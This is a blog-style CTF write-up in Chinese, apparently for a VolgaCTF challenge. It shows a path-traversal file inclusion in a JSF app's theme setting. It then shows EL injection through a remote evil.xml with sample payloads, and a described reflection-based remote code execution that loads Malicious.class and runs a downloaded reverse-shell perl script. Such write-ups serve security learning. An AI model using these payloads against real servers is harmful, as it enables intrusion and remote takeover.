回到家看到 CRAX Team 在玩 VolgaCTF 就順手玩了一下
解這題的時候順便讓我練習到了之前就想好好惡補一下的 EL 注入(Expression Language Injection) ,最後花了滿多時間再用 Java 的 Reflection API 來找到可利用的地方
網址點開為一個類似 Twitter 的個人留言板服務
註冊登入後長得如下,共有新增留言、設定、個人首頁、登出的功能
接下來就是開始找尋漏洞的時候,找的方法不外乎那些XD
最後是發現在設定的地方有個可以讓使用者自行指定布景 (header)的功能
使用 Tamper Data 對我們送出的資訊進行截取,
可以發現,送出的資料中 header 的部分是一個檔案路徑的形式存在
./headers/bar.xhtml網站透過這個功能去引用自己的 template 以達到使用者自定布景主題的效果
因此我們來試試看,將 header 設為 ../../../../../etc/passwd 看會出現什麼事情?
網站死掉了...
任何功能都無法操作,只能把 Cookie 清空再註冊一個帳號嘗試,之後的步驟都是這樣,只要一個地方出錯就要重新註冊一個帳號重來一次XD
這點滿麻煩的,不過多少達到讓駭客覺得麻煩防駭客的效果XD
不過從錯誤資訊可以看到,網站使用了 <ui:include src="..."> 的方式引入檔案,所以透過這個功能我們可以引入伺服器上的任意檔案
(但是只限定於 html, xml 格式,不然再處理時會出錯一樣無法看到檔案內容)
雖然有格式限制,但我們可以嘗試引入網站 Java Servlet 的設定檔 WEB-INF/web.xml 來讀取一些設定
現在已經定位了漏洞的地方了,接下來是如何的利用?
發現,在引入的時候不只可以引入本地檔案,也可以利用 http://yourhome/foo.xml 的方式引入外部 html 或者 xml
但是只是引入 html 或者 xml 有什麼用呢?
在許多 Java Servlet 裏面(如 Struts, Spring Framework GlassFish etc...)我們可以使用一種叫做 EL 的語言,EL 本意是用來降低後端程式跟前端的困擾,讓兩者出來的程式可以更快速地結合
使用的方式是使用 ${...EL...} 這樣的方式執行,
所以我們將 header 設為自己伺服器上的檔案 http://yourhome.com/evil.xml
並將 evil.xml 內容設定為
<f:view xmlns:f="http://java.sun.com/jsf/core"
xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${300*1+1}'/>
</f:view>
可以看到 300*1+1 有確實的被執行到變成 301 惹
再用 applicationScope 查看一下伺服器設定,
<f:view xmlns:f="http://java.sun.com/jsf/core"xmlns:h="http://java.sun.com/jsf/html" ><h:inputText id="userName" value='${applicationScope}'/></f:view>
可以查看一些敏感資訊,最後是執行指令的部分
EL 有對於一些危險指令做了一些限制,不過這些限制是可以繞過
相關 paper 可以參考 Remote Code with Expression Language Injection
內文中使用 Java Reflection API 的方式拿到 URLClassLoader 去讀取自己所寫好惡意的Java class 檔案
但是伺服器上的環境似乎跟 Paper 不太相同,所以不能直接使用上面的攻擊代碼,必須小改一下
伺服器上似乎沒有 pageContext 這個全域變數,所以無法透過它去取得 ServletContext 的 class
所以那時候就在慢慢踹,對其他已知的全域變數用 Relfection API 想辦法拿到ServletContext 這個 class
最後發現可以改用 session.getServletContext(),因此改寫上面的攻擊代碼
http://yourhome.com/evil.xml
http://yourhome.com/Malicious.class 要放上你要執行的 Java 程式
我這裡放的是從自己的 server 上下載反連的 perl script,並且執行
FLAG W0W_S0_J@V@_SUCH_EL_V3RY_RCE
沒有留言:
張貼留言